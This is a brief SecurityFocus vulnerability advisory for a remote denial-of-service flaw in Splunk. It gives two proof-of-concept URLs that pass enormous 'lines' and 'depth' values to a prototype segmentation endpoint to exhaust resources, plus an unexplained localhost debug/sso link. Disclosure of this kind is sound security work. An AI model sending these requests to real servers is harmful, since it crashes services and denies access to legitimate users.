source: http://www.securityfocus.com/bid/50298/info

Splunk is prone to a remote denial-of-service vulnerability.

Exploiting this issue will exhaust system resources and cause the application to crash, denying service to legitimate users. 

http://www.example.com/en-US/prototype/segmentation_performance?lines=999&depth=99999999&segment=foo&element=span&attribute=class&segmentation=nested

http://www.example.com/en-US/prototype/segmentation_performance?lines=99999999999999999999999999999999999999&depth=99999999999999999999999999999999999999&segment=foo&element=span&attribute=class&segmentation=nested
https://localhost/en-US/debug/sso